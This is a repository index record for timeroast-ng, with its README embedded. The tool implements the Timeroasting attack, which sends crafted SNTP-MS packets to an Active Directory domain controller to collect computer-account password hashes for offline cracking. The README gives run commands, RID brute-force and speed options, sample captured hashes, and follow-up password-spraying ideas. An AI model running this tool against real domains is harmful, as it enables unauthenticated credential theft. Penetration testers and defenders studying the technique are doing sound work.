{"id":26681727,"url":"https://github.com/matrixeditor/timeroast-ng","last_synced_at":"2026-02-17T21:01:35.283Z","repository":{"id":282776326,"uuid":"949636730","full_name":"MatrixEditor/timeroast-ng","owner":"MatrixEditor","description":"Implementation of the Timeroasting attack to grab hashes from computer accounts using SNTP-MS.","archived":false,"fork":false,"pushed_at":"2025-03-16T21:59:46.000Z","size":57,"stargazers_count":5,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"master","last_synced_at":"2026-02-15T11:16:49.108Z","etag":null,"topics":["ad","sntp-ms","timeroasting"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/MatrixEditor.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-03-16T21:59:32.000Z","updated_at":"2026-01-27T20:08:50.000Z","dependencies_parsed_at":null,"dependency_job_id":"14a343bc-032c-4d1f-a149-311b4495ad35","html_url":"https://github.com/MatrixEditor/timeroast-ng","commit_stats":null,"previous_names":["matrixeditor/timeroast-ng"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/MatrixEditor/timeroast-ng","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MatrixEditor%2Ftimeroast-ng","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MatrixEditor%2Ftimeroast-ng/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MatrixEditor%2Ftimeroast-ng/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MatrixEditor%2Ftimeroast-ng/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/MatrixEditor","download_url":"https://codeload.github.com/MatrixEditor/timeroast-ng/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MatrixEditor%2Ftimeroast-ng/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":29558100,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-02-17T20:52:40.164Z","status":"ssl_error","status_checked_at":"2026-02-17T20:48:10.325Z","response_time":100,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["ad","sntp-ms","timeroasting"],"created_at":"2025-03-26T07:17:31.647Z","updated_at":"2026-02-17T21:01:35.278Z","avatar_url":"https://github.com/MatrixEditor.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Timeroast-ng\n\n[![PyPI](https://img.shields.io/pypi/v/timeroast_ng)](https://pypi.org/project/timeroast_ng/)\n\nTimeroasting ([Paper - Timeroasting, Trustroasting and Computer Spraying](https://www.secura.com/uploads/whitepapers/Secura-WP-Timeroasting-v3.pdf) by SecuraBV;\ntheir [Repo - Timeroasting](https://github.com/SecuraBV/Timeroast)) is a simple attack\ntechnnique that leverages the design concept of Microsoft's authentication extension\nfor the Simple Network Time Protocol ([SNTP-MS](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sntp/)).\n\n![example-output](/assets/example.png)\n\nThis technique involves sending specially crafted NTP packets to the domain controller\nof an Active Directory in order to retrieve a checksum that was calculated using the\npassword of the targeted **computer** account. Since a server will only reply to requests\nmade from computer accounts, it is possible to retrieve password hashes for all computer\naccounts in a domain. The resulting list of hashes can be cracked with hashcat using mode\n`31300`.\n\n## Installation\n\nThe main tool works out of the box with no dependencies. You can simply clone the repository -\noptional dependencies are [impacket](https://github.com/fortra/impacket) (for `resolveRID.py`)\nand [rich](https://github.com/Textualize/rich) to add colored output support.\n\nManual setup\n```bash\ngit clone https://github.com/MatrixEditor/timeroast-ng\ncd timeroast-ng\npython3 timeroast-ng.py -r1000-2000 -T5 \u003cdc_ip\u003e\n```\n\nInstallation via `pip`:\n1. via pypi\n  ```bash\n  pip install timeroast-ng\n  ```\n2. or using git\n  ```bash\n  pip install git+https://github.com/MatrixEditor/timeroast-ng\n  ```\n\n## Background\n\nWhat the hell is [SNTP-MS](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sntp/)?\nFirst of all, the Network Time Protocol (NTP) allows to place an optional authenticator payload,\nstoring a key identifier and an arbitrary digest value. The basic message flow can\nbe broken down to the following:\n\n```\n+------------+      NTP Packet (UDP, 123)\n| Client NTP +------------------------------+\n|  Request   | (1)                          |\n+------------+                     +--------v---------+\n                                   | Server processes |\n                                   |  Client request  |\n                                   +--------+---------+\n                                            |\n                                            |\n                                   RID linked to Computer: Yes\n                                            | (2)\n                                   +--------v----------+\n+-----------------+                | Server calculates |\n| Client verifies | (3)            |  checksum using   |\n|  NTP-Response   \u003c----------------+ computer password |\n+-----------------+    NTP-Reply   +-------------------+\n```\n\n1. The client prepares an NTP packet with the custom _Authenticator_ extension that stores\n   the relative identifier (RID) of the requestor (computer account).\n2. Server receives the request: packets of length `68` (_Authenticator_) and `120`\n   (_ExtendedAuthenticator_) will be processed. Only if the given RID in the request packet\n   is linked to a computer account, the server will generate a response. The reply will\n   contain a checksum that was generated using the password of the target account. Algorithm:\n   ```python\n   MD5(MD4(password.encode(\"utf16-le\") + response_message[:48]))\n   ```\n   All other NTP-related fields will be filled out normally as defined by NTP.\n3. Normally, the client would verify the response by using its own password. Since we are only\n   interested in capturing the hash (and salt), the flow ends here.\n\nQ: **So, why is this useful?**\n\nWith this approach, any unauthenticated attacker could enumerate the RIDs of all computer accounts\nwithin the domain and can try to crack their passwords. Moreover, since _Trust-Accounts_ are\ncomputer accounts, they will be in the resulting list too.\n\nQ: **There's an option to let the server calculate the checksum using the old password. Why can't we**\n**leverage this behaviour to distinguish whether the password has changed recently on the target**\n**computer account?**\n\nSimply because we can't control the response message data. As the reply contains timestamps that we\ncan't predict, there is no gain in using this feature.\n\n---\n\nGenerally speaking, _Timeroasting_ can be used to **anonymously** get the RIDs of all computer\naccounts and trust accounts together with their password hashes. However, there is a huge downside:\nwe can't map the RID to a valid username. Currently, there is no option to anonymously map the\ngathered identifiers with their correct username. Approaches could be\n\n- Try to resolve the hostname of each Windows computer in the local network (e.g. using [NetExec](https://github.com/Pennyw0rth/NetExec))\n    ```console\n    $ nxc smb \u003ccidr\u003e --generate-hosts-file \u003coutputfile\u003e\n    ```\n- Generate a list of valid computer names and try password spraying (in case you cracked it).\n\nAnother way to resolve the computer name is by querying the domain controller using an authenticated\nuser. First of all, we need the domain's SID (e.g. with [lookupsid.py](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)\nby impacket) - which is everything that is needed. The final LDAP query we have to execute looks\nlike this:\n```\n(\u0026(objectSid=\u003cDomain-SID\u003e-\u003cRID\u003e))\n```\n\nTo automate these queries one can use [resolveRID](resolveRID.py) to resolve the RID to an existing\ncomputer account.\n\n\n## Usage\n\nThe main script _timeroast-ng.py_ is designed for two modes of operation, both times supporting only the basic _Authenticator_ extension.\n\n```txt\nusage: timeroast-ng.py [options] dc_ip\n\nImplementation of the Timeroasting attack to grab hashes from computer accounts using SNTP-MS.\n\noptions:\n  -h, --help           show this help message and exit\n  -no-color            disables colorized output (enabled by default if rich is not installed)\n  -l, --listener ADDR  Local address to listen on\n\nTarget Options:\n  dc_ip                Target Domain Controller IP address or host.\n  -rt RID_FILE         Path to a file containing relative identifiers (RIDs) to target (TargetedTimeroast).\n                       Each line will be interpreted as a RID range.\n  -r, -range RANGES    Set the RID brute force range(s). Format is [start][-][end][, ...], whereby one\n                       element must be present. For instance, '1-10' would be valid and '-10' or '10-' too.\n                       You can use '-' to try ALL available RIDs (0 to (1 \u003c\u003c 31) - 1). If start is not\n                       specified it will be set to zero and end will be UINT32_MAX - 1.\n\nCollection Options:\n  -use-oldkey          Queries for the old password upon receiving a valid responce from the target server.\n  -only-oldkey         Only queries for the old password of the machine account\n  -skip-duplicate      Collects only new hashes. (Only together with -append and -outfile) This will work\n                       only if the RID has been written to the hashes file.\n\nTiming options:\n  -non-blocking        Executes in non-blocking mode\n  -wait SECONDS        Waits X seconds (float) after sending all requests (non-blocking mode only). Default\n                       delay is 0.5s.\n  -T \u003c0-5\u003e             Set timing template (higher is faster). Default template is T3.\n  -timeout TIMEOUT     Timeout for local socket (blocking-mode) / refesh interval (non-blocking mode) in\n                       seconds (default=0.01)\n\nOutput Options:\n  -outfile OUTFILE     Stores the captured hashes into the given file. (use -append to add data to an\n                       existing file)\n  -append              Does not overwrite existing captured hashes\n  -no-userid           Remove RID from output hash (otherwise --username must be used with hashcat)\n```\n\n## Non-Blocking Mode\n\nThis mode is recommended for users who don't have time to waste and don't need to be stealthy. For instance:\n```console\n$ python3 timeroast-ng.py \u003cdc_ip\u003e -r1000-2000 -T5 -non-blocking\n```\nwill start an attack in non-blocking mode (means _faster_) on RIDs starting from `1000` to `2000`\n(exclusive). The result could be something like this:\n```\n$ timeroast-ng.py 192.168.56.11 -r1000-1200 -T5 -non-blocking\n[*] User RID will be added to the output hash - make sure to use --username with hashcat to crack them!\n[*] Starting Timeroasting attack against: 192.168.56.11\n1001:$sntp-ms$b644b0e1f8723f518c7d131c238b2ab9$1c020ae900000074000a5450c0a8380aeb814a1f1e19b0ab0000000000000000eb814d8c4a21c39feb814d8c4a21f446\n1105:$sntp-ms$09737ab1e7c86ceaa9f9042c84d45560$1c020ae900000074000a5450c0a8380aeb814a1f1f2c1be70000000000000000eb814d8c4b3444abeb814d8c4b3453c4\n1104:$sntp-ms$3c3ac1f9eabf9bc6e83a1682cb54f8ba$1c020ae900000074000a5450c0a8380aeb814a1f1f2961f90000000000000000eb814d8c4b318259eb814d8c4b3199d5\n1123:$sntp-ms$ec534d53bef0508ed3febc99bb66f94a$1c020ae900000074000a5450c0a8380aeb814a1f1f6feea50000000000000000eb814d8c4b781916eb814d8c4b782327\n1122:$sntp-ms$93dec08a525fd1df36ef9e204c13e255$1c020ae900000074000a5450c0a8380aeb814a1f1f6c1fe30000000000000000eb814d8c4b744a54eb814d8c4b7457c0\n```\n\nSome notes on this mode of operation:\n- Receiving messages is done in a separate thread, therefore sending all request may complete before\n  the server has been able to respond to valid packets. If your output contains less responces than\n  expected, try to increase the `-wait` value.\n- Since this mode will utilize the whole bandwith of the network, the server may not be able to respond\n  directly to the first message received. Therefore, the waiting time at the end should be increased the\n  lower the specified range is.\n- **this mode is fast**\n- **It is recommended to always use `-T5` with this mode as it will give the best results**\n\n## Blocking-IO Mode\n\nThis is the default implementation using plain Pyton sockets (yes, a very primitive approach)\nthat will block until a timeout occurs or a packet was received.\n```console\n$ python3 timeroast-ng.py \u003cdc_ip\u003e -r1000-1200 -T5\n```\n\n## Range Specification\n\nTimeroast-ng supports multiple range definitions thaz follow a broader pattern: `[start][-][end][, ...]`.\nThe following list contains valid examples:\n```bash\n-r-                         # MIN to MAX (exclusive)\n-r-100                      # MIN to 100 (exclusive)\n-r100-                      # 100 to MAX (exclusive)\n-r 1001                     # only 1001\n-r 1000-2000                # 1000 to 2000 (exclusive)\n-range 10,20,100-200        # 10, 20 and from 100 to 200 (exclusive)\n```\n\nYou can also write a file that contains range specifications in each line (use `-rt \u003cfile\u003e`).\n\n## License\n\nDistributed under the MIT License. See LICENSE for more information.","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmatrixeditor%2Ftimeroast-ng","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmatrixeditor%2Ftimeroast-ng","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmatrixeditor%2Ftimeroast-ng/lists"}